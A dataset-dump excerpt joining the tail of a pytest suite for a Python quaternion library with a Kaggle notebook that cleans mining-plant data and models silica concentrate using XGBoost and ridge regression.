all(r * q == Quaternion(p) for r, p in zip(result, struct))\r\n\r\n\r\n########################################\r\n#    instance methods\r\n########################################\r\n\r\n\r\n@pytest.mark.parametrize(\"arg\", fxt_quat_struct)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_group_conjugate(q, arg):\r\n    expected = q * arg * q.inverse\r\n    result = q.group_conjugate(arg)\r\n    assert result == expected\r\n\r\n\r\n@pytest.mark.parametrize(\"arg\", fxt_quat_struct_list)\r\n@pytest.mark.parametrize(\"q\", fxt_quat)\r\ndef test_quaternion_group_conjugate_struct(q, arg):\r\n    expected = q * arg * q.inverse\r\n    result = q.group_conjugate(arg)\r\n    assert all(r == e for r, e in zip(result, expected))\r\n\r\n\r\n# 'AXphi' means rotation of angle phi around axis AX\r\nUNIT_QUATERNION = {\r\n    \"x90\": np.sqrt(2) / 2 * Quaternion([1, 1, 0, 0]),\r\n    \"y90\": np.sqrt(2) / 2 * Quaternion([1, 0, 1, 0]),\r\n    \"z90\": np.sqrt(2) / 2 * Quaternion([1, 0, 0, 1]),\r\n}\r\nNON_UNIT_QUATERNION = [\r\n    Quaternion(0),\r\n    Quaternion(-9),\r\n    Quaternion([1, 2, 3]),\r\n    Quaternion([1, 2, 3, 4]),\r\n    Quaternion((-1, [3, 2, 1])),\r\n]\r\n\r\n\r\nEULER_SEQUENCE = [\"xyz\", \"xzy\", \"yxz\", \"yzx\", \"zxy\", \"zyx\"]\r\n\r\n\r\n@pytest.mark.parametrize(\"q\", NON_UNIT_QUATERNION)\r\ndef test_quaternion_axis_angle_fails(q):\r\n    with pytest.raises(ArithmeticError):\r\n        q.axis_angle()\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"u, exp_axis, exp_angle\",\r\n    [\r\n        (Quaternion(1), np.array([1, 0, 0]), 0,),\r\n        (\r\n            1 / 2 * Quaternion([1, 1, 1, 1]),\r\n            np.array([1, 1, 1]) / np.sqrt(3),\r\n            2 / 3 * np.pi,\r\n        ),\r\n        (UNIT_QUATERNION[\"x90\"], np.array([1, 0, 0]), 1 / 2 * np.pi,),\r\n        (UNIT_QUATERNION[\"y90\"], np.array([0, 1, 0]), 1 / 2 * np.pi,),\r\n        (UNIT_QUATERNION[\"z90\"], np.array([0, 0, 1]), 1 / 2 * np.pi,),\r\n        (\r\n            Quaternion((np.sqrt(3) / 2, np.array([1, 1, 0]) / 2 / np.sqrt(2))),\r\n            np.array([1, 1, 0]) / np.sqrt(2),\r\n            1 / 3 * np.pi,\r\n        ),\r\n    ],\r\n)\r\ndef test_quaternion_axis_angle(u, exp_axis, exp_angle):\r\n    axis, angle = u.axis_angle()\r\n\r\n    assert np.allclose(axis, exp_axis)\r\n    assert np.allclose(angle, exp_angle)\r\n\r\n\r\n@pytest.mark.parametrize(\"q\", NON_UNIT_QUATERNION)\r\ndef test_quaternion_rot_matrix_fails(q):\r\n\r\n    with pytest.raises(ArithmeticError):\r\n        q.rot_matrix()\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, exp\",\r\n    [\r\n        (Quaternion(1), np.eye(3)),\r\n        (UNIT_QUATERNION[\"x90\"], np.array([[1, 0, 0], [0, 0, -1], [0, 1, 0]]),),\r\n        (UNIT_QUATERNION[\"y90\"], np.array([[0, 0, 1], [0, 1, 0], [-1, 0, 0]]),),\r\n        (UNIT_QUATERNION[\"z90\"], np.array([[0, -1, 0], [1, 0, 0], [0, 0, 1]]),),\r\n        (1 / 2 * Quaternion([1, 1, 1, 1]), np.array([[0, 0, 1], [1, 0, 0], [0, 1, 0]])),\r\n    ],\r\n)\r\ndef test_quaternion_rot_matrix(quat, exp):\r\n    result = quat.rot_matrix()\r\n\r\n    print(result)\r\n\r\n    assert np.allclose(result, exp)\r\n\r\n\r\n@pytest.mark.parametrize(\"q\", NON_UNIT_QUATERNION)\r\ndef test_quaternion_euler_angles_fails_unit(q):\r\n    with pytest.raises(ArithmeticError):\r\n        q.euler_angles(\"x\", \"y\", \"z\")\r\n\r\n\r\n@pytest.mark.parametrize(\"axes\", [\"abc\", \"XYZ\", \"xxy\", \"yzy\",])\r\ndef test_quaternion_euler_angles_fails_axes(axes):\r\n    q = Quaternion(1)\r\n\r\n    with pytest.raises(ValueError):\r\n        q.euler_angles(*list(axes))\r\n\r\n\r\n@pytest.mark.parametrize(\"axes\", EULER_SEQUENCE)\r\ndef test_quaternion_euler_angles_identity(axes):\r\n\r\n    result = Quaternion(1).euler_angles(*list(axes))\r\n    assert result == (0, 0, 0)\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"quat, axes, expected\",\r\n    [\r\n        (UNIT_QUATERNION[\"x90\"], \"xyz\", (np.pi / 2, 0, 0)),\r\n        (UNIT_QUATERNION[\"y90\"], \"xyz\", (0, np.pi / 2, 0)),\r\n        (UNIT_QUATERNION[\"z90\"], \"xyz\", (0, 0, np.pi / 2)),\r\n        (UNIT_QUATERNION[\"x90\"], \"xzy\", (np.pi / 2, 0, 0)),\r\n        (UNIT_QUATERNION[\"y90\"], \"xzy\", (0, 0, np.pi / 2)),\r\n        (UNIT_QUATERNION[\"z90\"], \"xzy\", (0, np.pi / 2, 0)),\r\n        (UNIT_QUATERNION[\"y90\"], \"yxz\", (np.pi / 2, 0, 0)),\r\n        (UNIT_QUATERNION[\"x90\"], \"yxz\", (0, np.pi / 2, 0)),\r\n        (UNIT_QUATERNION[\"z90\"], \"yxz\", (0, 0, np.pi / 2)),\r\n        (UNIT_QUATERNION[\"x90\"], \"yzx\", (0, 0, np.pi / 2)),\r\n        (UNIT_QUATERNION[\"y90\"], \"yzx\", (np.pi / 2, 0, 0)),\r\n        (UNIT_QUATERNION[\"z90\"], \"yzx\", (0, np.pi / 2, 0)),\r\n        (UNIT_QUATERNION[\"x90\"], \"zxy\", (0, np.pi / 2, 0)),\r\n        (UNIT_QUATERNION[\"y90\"], \"zxy\", (0, 0, np.pi / 2)),\r\n        (UNIT_QUATERNION[\"z90\"], \"zxy\", (np.pi / 2, 0, 0)),\r\n        (UNIT_QUATERNION[\"x90\"], \"zyx\", (0, 0, np.pi / 2)),\r\n        (UNIT_QUATERNION[\"y90\"], \"zyx\", (0, np.pi / 2, 0)),\r\n        (UNIT_QUATERNION[\"z90\"], \"zyx\", (np.pi / 2, 0, 0)),\r\n    ],\r\n)\r\ndef test_quaternion_euler_angles(quat, axes, expected):\r\n\r\n    result = quat.euler_angles(*list(axes))\r\n    assert result == expected\r\n\r\n\r\n@pytest.mark.parametrize(\"quat\", list(UNIT_QUATERNION.values()))\r\n@pytest.mark.parametrize(\"axes\", EULER_SEQUENCE)\r\ndef test_quaternion_euler_angles_euler_rotations(quat, axes):\r\n    axis3, axis2, axis1 = list(axes)\r\n    angle3, angle2, angle1 = quat.euler_angles(axis3, axis2, axis1)\r\n    composition = (\r\n        euler_rotation(axis3, angle3)\r\n        @ euler_rotation(axis2, angle2)\r\n        @ euler_rotation(axis1, angle1)\r\n    )\r\n    rot_mat = quat.rot_matrix()\r\n\r\n    assert np.allclose(rot_mat, composition)\r\n\r\n\r\n########################################\r\n#    class methods\r\n########################################\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"arg\",\r\n    [\r\n        -2,\r\n        [1, 2, 3],\r\n        np.array([-1, 0, -1]),\r\n        [0, 1, 2, 3],\r\n        np.array([3, -1, 0, -1]),\r\n        (0, [1, 2, 3]),\r\n        (0, np.array([1, 2, 3])),\r\n        Quaternion([1, -1, 0, 1]),\r\n    ],\r\n)\r\ndef test_to_quaternion(arg):\r\n    result = Quaternion.to_quaternion(arg)\r\n    assert result == Quaternion(arg)\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"arg\",\r\n    [\r\n        [[1, 2, 3], [-1, -1, 0], [2, 4, 7]],\r\n        [np.array([1, 2, 3]), np.array([2, 3, 4])],\r\n        np.array([[0, 1, 0], [-1, -2, -3], [1, 1, 1]]),\r\n        np.repeat(-1.5, 30).reshape(-1, 3),\r\n        [[0, 1, 2, 3], [-1, -1, 0, -2]],\r\n        [np.array([1, 2, 4, 3]), np.array([2, -3, 3, 4])],\r\n        np.array([[3, 0, 1, 0], [2, 1, 1, 1]]),\r\n        np.repeat(-2.5, 16).reshape(-1, 4),\r\n        [(0, [1, 2, 3]), (0, np.array([1, 2, 3])), (-2, [-1, -2, 0])],\r\n        [Quaternion(0), Quaternion([1, 2, 3]), Quaternion([1, -1, 0, 1]),],\r\n    ],\r\n)\r\ndef test_to_quaternion_struct(arg):\r\n    result = Quaternion.to_quaternion(arg)\r\n    assert all(r == Quaternion(a) for r, a in zip(result, arg))\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"axis, angle, error\",\r\n    [\r\n        ([1, 0], 1.0, ValueError),\r\n        ([1, 0, 1], \"1.5\", ValueError),\r\n        ([1e-17, 0, -1e-20], 1.2, ArithmeticError),\r\n    ],\r\n)\r\ndef test_rotation_quat_from_axis_angle_invalid(axis, angle, error):\r\n    with pytest.raises(error):\r\n        Quaternion.rotation_quat_from_axis_angle(axis, angle)\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"axis, angle, expected\",\r\n    [\r\n        ([1, 0, 0], 0.0, Quaternion(1)),  # angle=0 -> identity rotation\r\n        ([22, 0, 0], np.pi / 2, UNIT_QUATERNION[\"x90\"],),  # axis=X-axis, angle=90\r\n        (\r\n            [0, -3, 0],\r\n            np.pi,  # axis=neg. Y-axis, angle=180\r\n            Quaternion(np.array([0, 0, -1, 0])),\r\n        ),\r\n        (\r\n            [0, 0, 5],\r\n            np.pi / 3,  # axis=Z-axis, angle=60\r\n            Quaternion(np.array([np.sqrt(3) / 2, 0, 0, 1 / 2])),\r\n        ),\r\n    ],\r\n)\r\ndef test_rotation_quat_from_axis_angle(axis, angle, expected):\r\n    result = Quaternion.rotation_quat_from_axis_angle(axis, angle)\r\n    assert result == expected\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"axis, angle, vectors\",\r\n    [\r\n        ([1, 0, 0], 1.0, list(\"vectors\")),\r\n        ([1, 1, 1], 1.0, np.ones(6)),\r\n        ([1, 0, 1], 1.0, np.ones(40).reshape(-1, 4)),\r\n    ],\r\n)\r\ndef test_rotate_by_axis_angle_invalid(axis, angle, vectors):\r\n    with pytest.raises(ValueError):\r\n        Quaternion.rotate_by_axis_angle(axis, angle, vectors)\r\n\r\n\r\n@pytest.mark.parametrize(\r\n    \"axis, angle, vector\",\r\n    [\r\n        ([1, 0, 0], 1.0, [1, 1, 1]),\r\n        ([1, 0, -2], 1.2, np.array([0, 1, -1])),\r\n        (np.array([1, 2, -3]), -0.4, [-1, 1.5, 2.5]),\r\n    ],\r\n)\r\ndef test_rotate_by_axis_angle(axis, angle, vector):\r\n    expected = rotation_axis_angle(np.array(axis), angle) @ np.array(vector)\r\n    result = Quaternion.rotate_by_axis_angle(axis, angle, vector)\r\n    assert np.allclose(result, expected)\r\n\r\n\r\n@pytest.mark.parametrize(\"n\", [10, 20, 50, 100])\r\n@pytest.mark.parametrize(\"angle\", [1.2, np.pi / 3, 2.0, 3.3])\r\n@pytest.mark.parametrize(\r\n    \"axis\", [np.array([1, 1, 1]), np.array([2, 0, -1]), np.array([-1, 1.5, -1.3]),]\r\n)\r\ndef test_rotate_by_axis_angle_vectors(n, axis, angle):\r\n    # create vectors pointing in axis direction\r\n    vectors = np.tile(axis, [n, 1])\r\n    # vectors are fix points, we expect no transform\r\n    expected = vectors\r\n    # rotate them\r\n    rotated = Quaternion.rotate_by_axis_angle(axis, angle, vectors)\r\n    # test\r\n    assert np.allclose(rotated, expected)\r\n\r\n    # create vectors perpendicular to axis direction\r\n    vectors = np.tile(np.array([axis[2], 0, -axis[0]]), [n, 1])\r\n    # calculate the expected transform\r\n    rot_matrix = rotation_axis_angle(axis, angle)\r\n    expected = [rot_matrix @ p for p in vectors]\r\n    # rotate them\r\n    rotated = Quaternion.rotate_by_axis_angle(axis, angle, vectors)\r\n    # test\r\n    assert np.allclose(rotated, expected)\r\n", "meta": {"hexsha": "7d0e7148fe56aaa890013d621a84993d8cc9babc", "size": 26884, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_quaternion.py", "max_stars_repo_name": "m-bass/pyquatlib", "max_stars_repo_head_hexsha": "c0f1b4847fc03f23774ba223421663615c3ac128", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2020-08-17T15:48:38.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-24T07:34:01.000Z", "max_issues_repo_path": "tests/test_quaternion.py", "max_issues_repo_name": "m-bass/pyquatlib", "max_issues_repo_head_hexsha": "c0f1b4847fc03f23774ba223421663615c3ac128", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_quaternion.py", "max_forks_repo_name": "m-bass/pyquatlib", "max_forks_repo_head_hexsha": "c0f1b4847fc03f23774ba223421663615c3ac128", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.4135667396, "max_line_length": 89, "alphanum_fraction": 0.5232852254, "include": true, "reason": "import numpy", "num_tokens": 8577, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.1480471999111614, "lm_q1q2_score": 0.07344530234637482}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport xgboost as xgb\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory\n\nimport os\nfor dirname, _, filenames in os.walk('/kaggle/input'):\n    for filename in filenames:\n        print(os.path.join(dirname, filename))\n\n# Any results you write to the current directory are saved as output.\n\n\n# In[ ]:\n\n\ndf = pd.read_csv('/kaggle/input/quality-prediction-in-a-mining-process/MiningProcess_Flotation_Plant_Database.csv', decimal=',')\ndf['date'] = pd.to_datetime(df['date'])\ndf.head(2)\n\n\n# In[ ]:\n\n\nprint('Shape: ', df.shape)\nprint('Columns: ')\nprint(df.columns)\nprint('Datatypes:')\nprint(df.dtypes)\n\n\n# Show the hours with less than 180 records (missing data within the hour).\n\n# In[ ]:\n\n\ncounts = df.groupby('date').count()\ncounts[counts['% Iron Feed'] < 180]\n\n\n# Luckily only the first hour is missing 6 data points and one other hour is missing one. When creating an accurate time series index, we will arbitrarily take out the first couple 20 second intervals to match the amount of records found for those hours. \n# \n# We will now create the 20 second frequency Datetime Index.\n\n# In[ ]:\n\n\n# get a series of unique hourly timestamps\nhours = pd.Series(df['date'].unique())\nhours.index = hours\nlen(hours)\n\n\n# In[ ]:\n\n\n# create a date time index from the first to the last hour included in the date column\ndate_range = pd.date_range(start=df.iloc[0,0], end='2017-09-09 23:59:40', freq='20S')\n# remove first couple observations consistent with the counts exploration above\ndate_range = date_range[6:]\ndate_range[-5:]\n\n\n# In[ ]:\n\n\n# create lists from both the hours series and the new datetime index\nhours_list = hours.index.format()\nprint(hours_list[:5])\nseconds_list = date_range.format()\nprint(seconds_list[:5])\n\n\n# In[ ]:\n\n\n# match the new datetime index to the hours series and only append the timestamps if the datea and hour match the hours list\nnew_index = []\nfor idx in seconds_list:\n    if (idx[:13] + ':00:00') in hours_list:\n        new_index.append(idx)\n\n#remove the one missing interval within the hour which we found earlier using the counts\nnew_index.remove('2017-04-10 00:00:00')\nnew_index[-20:]\n\n\n# In[ ]:\n\n\nprint(len(new_index))\nprint(len(df))\n\n\n# In[ ]:\n\n\ndf['index'] = new_index\ndf['index'] = pd.to_datetime(df['index'])\ndf.index = df['index']\ndf = df.loc[:, df.columns[:-1]]\ndf.rename(columns={'date': 'datetime hours'}, inplace=True)\ndf.head()\n\n\n# ### Checking which variables have hourly vs 20-sec frequency\n# \n# We can determine the frequency of the variables by grouping the dataframe by hours and counting the number of unique values. For hourly variables it should be 1, for the higher frequency variables it should be close to 180.\n\n# In[ ]:\n\n\nunique_avg = []\nfor col in df.columns:\n    unique_avg.append(df.groupby('datetime hours').apply(lambda x: len(x[col].unique())).mean())\nplt.plot(np.arange(len(unique_avg)), unique_avg)\nplt.title('Average Count of Unique Values per Hour for every Variable')\nplt.ylabel('Count')\nplt.xticks(list(range(len(unique_avg))), list(df.columns), rotation='vertical')\nplt.show()\n\n\n# Only the Iron and Silica Feed and Concentrate variables seem hourly, the rest seems to contain higher frequency measurements. Yet, the unique averages are much higher than 1 for Silica Concentrate especially, which could indicate some inconsistencies.\n\n# ### Interpolation Cleaning\n\n# We further checked individual variables to see if there are any outliers etc. We noticed that there seemed to be some interpolated values which can be detrimental to any modelling attempts.\n\n# In[ ]:\n\n\n# some values for Silica Concentration seem interpolated so we're removing the values for all those hours\n#some imports\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n\n#get list of % Silica Concentrate values, see the first 5 that have more than one hourly value\nsilica_unique = df.groupby('datetime hours').apply(lambda x: len(x['% Silica Concentrate'].unique()))\nprint(silica_unique[silica_unique > 1][:5])\n\n# plot before the interpolations are taken out of the dataframe\nplt.plot(df['% Silica Concentrate'][df['datetime hours'] == silica_unique[silica_unique > 1].index[0]])\n\n# take out interpolated hours for % Silica Concentrate\ninterpolated_hours = silica_unique[silica_unique >1].index.format()\nclean_df=df[~df['datetime hours'].isin(interpolated_hours)]\n\n#finish the graph\nplt.title('Interpolated hour of % Silica Concentrate')\nplt.xlabel('Datetime Index [Day Hour:Minute]')\nplt.ylabel('Silica Concentrate [%]')\nplt.legend(loc='best')\nplt.show()\n\n\n# Next, we will graph some of the input variables and check for more interpolations. Both Iron Feed and Silica Feed seem to have a large amount of interpolated values. \n\n# In[ ]:\n\n\nplt.plot(clean_df.index, clean_df['% Iron Feed'])\nplt.plot(clean_df.index, clean_df['% Silica Feed'])\nplt.title('Iron and Silica Percentage of Input Feed')\nplt.legend(loc='best')\nplt.ylabel('Iron/Silica Feed [%]')\nplt.xlabel('Date [Year-Month]')\nplt.show()\n\n\n# It seems that there are some missing values for the Iron and Silica Feed as well, so let us investigate the most frequently occuring values.\n\n# In[ ]:\n\n\n#if_unique = clean_df.groupby('datetime hours').apply(lambda x: len(x['% Iron Feed'].unique()))\n#sf_unique = clean_df.groupby('datetime hours').apply(lambda x: len(x['% Silica Feed'].unique()))\n#print(if_unique[if_unique > 1][:5])\nprint('Count of unique hours in cleaned df: ', len(clean_df.groupby('datetime hours').mean()))\nprint('Count of unique % Iron Feed values: ',len(clean_df['% Iron Feed'].unique()))\nprint('Count of unique % Silica Feed values: ',len(clean_df['% Silica Feed'].unique()))\nprint('Reference: Count of unique % Silica Concentrate values: ',len(clean_df['% Silica Concentrate'].unique()))\n\n\n# In[ ]:\n\n\n# function to get unique values of a df column and their counts \ndef get_unique_counts(column):\n    df = pd.DataFrame()\n    \n    uv_list, count_list = list(column.unique()), []\n    \n    for uv in uv_list:\n        count_list.append(len(column[column == uv]))\n        \n    df['unique_values'] = uv_list\n    df['count'] = count_list\n    return df\n\n\n# Less than \n\n# In[ ]:\n\n\nif_unique = get_unique_counts(clean_df['% Iron Feed']).sort_values('count',ascending=False)\nsf_unique = get_unique_counts(clean_df['% Silica Feed']).sort_values('count',ascending=False)\nprint(if_unique.head(10))\nprint(sf_unique.head(10))\n\n\n# The four highest frequencies show the same count for both variables, let's look at the graphs to confirm that these were interpolated.\n\n# In[ ]:\n\n\nfor i in range(6):\n    clean_df['% Silica Feed'][clean_df['% Silica Feed'] == sf_unique.iloc[i,0]].plot()\n    clean_df['% Iron Feed'][clean_df['% Iron Feed'] == if_unique.iloc[i,0]].plot() \n    plt.show()\n\n\n# In[ ]:\n\n\nclean_df.groupby([clean_df.index.date, clean_df.index.hour]).mean()\n\n\n# I will remove the intervals that feature seemingly unclean data, i.e. the four highest frequency observations. \n\n# In[ ]:\n\n\ndirty_idx = []\nfor i in range(4):\n    dirty_idx.extend(clean_df['% Silica Feed'][clean_df['% Silica Feed'] == sf_unique.iloc[i,0]].index.format())\ndirty_idx\nprint(len(dirty_idx), len(clean_df))\nclean_df=clean_df[~clean_df.index.isin(dirty_idx)]\nprint(clean_df.shape)\nclean_df['% Silica Feed'].plot()\nclean_df['% Iron Feed'].plot() \nplt.show()\n\n\n# ### Correlation Plots\n\n# In[ ]:\n\n\npair_cols = list(df.columns[1:8])\npair_cols.extend(df.columns[-2:])\nprint(pair_cols)\n#smol_df = clean_df.loc[:,pair_cols]\nsns.pairplot(clean_df.loc[:,pair_cols])\nplt.show()\n\n\n# No apparent meaningful patterns besides between Iron and Silica Concentrate and Iron and Silica Feed (which are to be expected).\n# \n# We also decided to check which minute of the hour showed the highest correlation with % Silica Concentrate for each variable. Our hypothesis was that they should peak around when the measurements where usually taken. \n\n# In[ ]:\n\n\n# minute correlations \ncorr_df = pd.DataFrame(index=clean_df.columns[1:])\nfor minute in range(60):\n    min_df = clean_df[clean_df.index.minute == minute]\n    corr_df[str(minute)] = min_df.groupby([min_df.index.date, min_df.index.hour, min_df.index.minute]).mean().corr().iloc[:,-1]\ncorr_df = corr_df.transpose()\n\ncorr_df.iloc[:,:-2].plot(legend=False)\nplt.title(\"Correlations of Variables vs Silica Concentrate Grouped by Minute\")\nplt.ylabel(\"Correlation\")\nplt.xlabel(\"Minute of the Hour\")\nplt.show()\n\n\n# In[ ]:\n\n\ndef rmse(actual, preds):\n    return np.sqrt(np.sum((np.array(actual)-np.array(preds))**2) / len(actual))\ndef mape(actual, preds):\n    return np.sum(np.abs((np.array(actual)-np.array(preds))/(np.array(actual)))) / len(actual)\ndef mae(actual, preds):\n    return np.sum(np.abs((np.array(actual)-np.array(preds)))) / len(actual)\n\n\n# ### XDBoost\n\n# In[ ]:\n\n\nimport xgboost as xgb\n\n\n# In[ ]:\n\n\nstart=0\nend=100\n\nX = clean_df.iloc[start*24*180:end*24*180,1:-2]\ny = clean_df.iloc[start*24*180:end*24*180,-1]\nX_test = clean_df.iloc[(end)*24*180:,1:-2]\ny_test = clean_df.iloc[(end)*24*180:,-1]\n\nxgbr= xgb.XGBRegressor(max_depth=8, n_estimators=50, min_sample_split = 500, subsample=0.5, silent=True, colsample_bytree=0.8, gamma=100)\n\nxgbr.fit(X,y)\nprint(xgbr.feature_importances_)\nprint(xgbr.score(X,y))\n\n\n# In[ ]:\n\n\npreds=xgbr.predict(X_test)\npred_df = pd.DataFrame(preds, columns=['predictions'])\nprint('Train RMSE: ' + str(rmse(y, xgbr.predict(X))))\nprint('RMSE: ' + str(rmse(y_test, preds)))\nprint('MAE: ' + str(mae(y_test, preds)))\nprint('MAPE: ' + str(mape(y_test, preds)))\nplt.plot(y_test, label = 'Actual')\npred_df.index = y_test.index\nplt.plot(pred_df, label = 'Prediction')\nplt.legend()\nplt.ylim(0,6)\nplt.title('XGBoost Regressor Model Forecast')\nplt.xticks(rotation='vertical')\nplt.ylabel('Silica Concentrate [%]')\nplt.xlabel('Time [Days]')\nplt.show()\n\n\n# ### Ridge Regression\n\n# In[ ]:\n\n\nfrom sklearn.linear_model import Ridge\n\nstart=0\nend=100\nX = clean_df.iloc[start*24*180:end*24*180,1:-2]\ny = clean_df.iloc[start*24*180:end*24*180,-1]\nX_test = clean_df.iloc[(end)*24*180:,1:-2]\ny_test = clean_df.iloc[(end)*24*180:,-1]\n\nrr= Ridge(alpha= 1, fit_intercept=False, normalize=True)\n\nrr.fit(X,y)\nprint(rr.get_params)\nprint(rr.score(X,y))\nprint(rr.score(X_test,y_test))\n\n\n# In[ ]:\n\n\npreds=rr.predict(X_test)\npred_df = pd.DataFrame(preds, columns=['predictions'])\ny_pred= df.iloc[140*24*180:147*24*180,-1]\nprint('Train RMSE: ', rmse(y, rr.predict(X)))\nprint('RMSE: ', rmse(y_test, preds))\nprint('MAPE: ', mape(y_test, preds))\nprint('MAE: ', mae(y_test, preds))\nplt.plot(y_test, label = 'Actual')\npred_df.index = y_test.index\nplt.plot(pred_df, label = 'Predictions')\nplt.title('Ridge Regression Model Forecast')\nplt.xticks(rotation='vertical')\nplt.ylabel('Silica Concentrate [%]')\nplt.xlabel('Time [Days]')\nplt.ylim(0,6)\nplt.legend()\nplt.show()\n\n\n# # Classification\n\n# In[ ]:\n\n\nsns.distplot(clean_df['% Silica Concentrate'])\nplt.title('Distribution Plot for % Silica Concentrate')\nplt.ylabel('Relative Frequency')\nplt.xlabel('Silica Concentrate [%]')\nplt.show()\n\n\n# In[ ]:\n\n\n#create hour column\ncdf = clean_df.copy(deep=True)\ncdf['hour'] = cdf.index.hour\n\n# get labels \ncdf['label'] = 0\ncdf['label'][cdf['% Silica Concentrate'] > 3] = 1\nprint(cdf['label'][cdf['label'] == 1].count())\nprint(cdf['label'][cdf['label'] == 0].count())\nprint(cdf['label'][cdf['label'] == 0].count() / cdf['label'][cdf['label'] == 1].count())\n\n\n# In[ ]:\n\n\nimport random \n\nrandom.seed(69)\n#start=0\n#end=138\n\nmdf = cdf.drop(columns = ['datetime hours', '% Iron Concentrate', '% Silica Concentrate'])\n\n#create and sample train set for equal class distribution\n#train = mdf.iloc[start*24*180:end*24*180]\ntrain = mdf.iloc[:-14*24*180]\nzero_idx = train[train['label'] == 0].index\nsample_idx = random.sample(list(zero_idx), train[train['label'] == 1].shape[0])\nsample_idx.extend(list(train[train['label'] == 1].index))\nsample_idx = pd.DatetimeIndex(sample_idx).sort_values()\ntrain = train.reindex(sample_idx)\n\nX = train.iloc[:,:-1]\ny = train.iloc[:,-1]\n\n#X_eval = mdf.iloc[(end)*24*180:(end+7)*24*180,:-1]\n#y_eval = mdf.iloc[(end)*24*180:(end+7)*24*180,-1]\n#X_test = mdf.iloc[(end+7)*24*180:(end+14)*24*180,:-1]\n#y_test = mdf.iloc[(end+7)*24*180:(end+14)*24*180,-1]\n#X_eval = mdf.iloc[-14*24*180:-7*24*180,:-1]\n#y_eval = mdf.iloc[-14*24*180:-7*24*180,-1]\nX_test = mdf.iloc[-14*24*180:,:-1]\ny_test = mdf.iloc[-14*24*180:,-1]\n\nprint(y[y == 0].count() / y[y==1].count())\n\n\n# ### Initial XGBoost attempt\n\n# In[ ]:\n\n\nxgbc= xgb.XGBClassifier(max_depth=4, n_estimators=5, subsample=0.5, eval_metric='logloss', colsample_bytree=0.8, \n                        min_child_weight=100, gamma=50)\n\nxgbc.fit(X,y)\nprint(xgbc.feature_importances_)\nprint(xgbc.score(X,y))\n\n\n# In[ ]:\n\n\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\npreds=xgbc.predict(X_test)\nresults = confusion_matrix(y_test, preds) \nprint('Test Set Results')\nprint('Confusion Matrix :')\nprint(results) \nprint('Accuracy Score :',accuracy_score(y_test, preds) )\nprint('Report : ')\nprint(classification_report(y_test, preds))\n\n\n# In[ ]:\n\n\neval_preds=xgbc.predict(X_eval)\neval_results = confusion_matrix(y_eval, eval_preds) \nprint('Evaluation Set Results')\nprint('Confusion Matrix :')\nprint(eval_results) \nprint('Accuracy Score :',accuracy_score(y_eval, eval_preds) )\nprint('Report : ')\nprint(classification_report(y_eval, eval_preds))\n\n\n# In[ ]:\n\n\ntrain_preds=xgbc.predict(X)\ntrain_results = confusion_matrix(y, train_preds) \nprint('Training Set Results')\nprint('Confusion Matrix :')\nprint(train_results) \nprint('Accuracy Score :',accuracy_score(y, train_preds) )\nprint('Report : ')\nprint(classification_report(y, train_preds))\n\n\n# In[ ]:\n\n\nfrom sklearn.utils.multiclass import unique_labels\nfrom sklearn.metrics import confusion_matrix, accuracy_score, classification_report\n\ndef plot_confusion_matrix(y_true, y_pred, classes,\n                          normalize=False,\n                          title=None,\n                          cmap=plt.cm.Blues):\n    \"\"\"\n    This function prints and plots the confusion matrix.\n    Normalization can be applied by setting `normalize=True`.\n    \"\"\"\n    if not title:\n        if normalize:\n            title = 'Normalized confusion matrix'\n        else:\n            title = 'Confusion matrix, without normalization'\n\n    # Compute confusion matrix\n    cm = confusion_matrix(y_true, y_pred)\n    # Only use the labels that appear in the data\n    classes = classes[unique_labels(y_true, y_pred)]\n    if normalize:\n        cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n        #print(\"Normalized confusion matrix\")\n    else:\n        print()\n        #print('Confusion matrix, without normalization')\n\n    fig, ax = plt.subplots()\n    im = ax.imshow(cm, interpolation='nearest', cmap=cmap)\n    ax.figure.colorbar(im, ax=ax)\n    # We want to show all ticks...\n    ax.set(xticks=np.arange(cm.shape[1]),\n           yticks=np.arange(cm.shape[0]),\n           # ... and label them with the respective list entries\n           xticklabels=classes, yticklabels=classes,\n           title=title,\n           ylabel='True label',\n           xlabel='Predicted label')\n    # Rotate the tick labels and set their alignment.\n    plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\",\n             rotation_mode=\"anchor\")\n\n    # Loop over data dimensions and create text annotations.\n    fmt = '.2f' if normalize else 'd'\n    thresh = cm.max() / 2.\n    for i in range(cm.shape[0]):\n        for j in range(cm.shape[1]):\n            ax.text(j, i, format(cm[i, j], fmt),\n                    ha=\"center\", va=\"center\",\n                    color=\"white\" if cm[i, j] > thresh else \"black\")\n    fig.tight_layout()\n    return ax\n\n\n# In[ ]:\n\n\nplot_confusion_matrix(np.array(y_test), np.array(preds), classes=np.array(['pure (below cutoff)', 'impure (above cutoff)']), normalize=False)\nplt.show()\n\n\n# ## 